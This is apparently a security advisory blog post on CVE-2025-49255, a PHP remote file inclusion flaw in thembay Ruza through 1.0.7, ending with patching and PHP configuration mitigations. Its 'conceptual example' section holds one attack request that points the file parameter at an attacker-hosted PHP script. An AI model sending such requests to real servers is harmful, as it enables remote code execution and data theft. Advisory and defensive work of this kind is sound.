Overview
This blog post discusses the CVE-2025-49255 vulnerability, a critical PHP Remote File Inclusion (RFI) vulnerability discovered in thembay Ruza. This vulnerability exposes users to potential system compromise or data leakage, making it a significant cybersecurity concern. It affects Ruza versions up to and including 1.0.7. The RFI vulnerability is especially concerning given its potential to provide a malicious actor with the ability to execute arbitrary PHP code remotely, which can lead to severe consequences such as full system compromise.
Vulnerability Summary
CVE ID: CVE-2025-49255
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: No
Impact: System Compromise, Data Leakage
Affected Products
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Product | Affected Versions
Thembay Ruza | Up to and including 1.0.7
How the Exploit Works
The PHP Remote File Inclusion vulnerability, as the name implies, allows an attacker to include a remote file, usually through a script on a web server. This file can execute arbitrary PHP code. The issue arises due to the improper control of filename for include/require statement in the PHP program of thembay Ruza. An attacker can manipulate these statements to inject malicious scripts into a server’s file system, which the server then executes.
Conceptual Example Code
An attacker might exploit this vulnerability by sending a crafted request to a vulnerable server. The request could look something like this:
GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerable-ruza-site.comIn this example, `http://attacker.com/malicious_file.php` is a PHP script hosted on the attacker’s server. The vulnerable server fetches and executes this script, leading to a potential system compromise or data leakage.
Mitigation Measures
The most effective way to mitigate this vulnerability is by applying the vendor patch. If that is not immediately possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation method. These tools can detect and block attempts to exploit this vulnerability. Furthermore, it is recommended to disable allow_url_include and allow_url_fopen in the PHP configuration, which prevents the inclusion of remote files.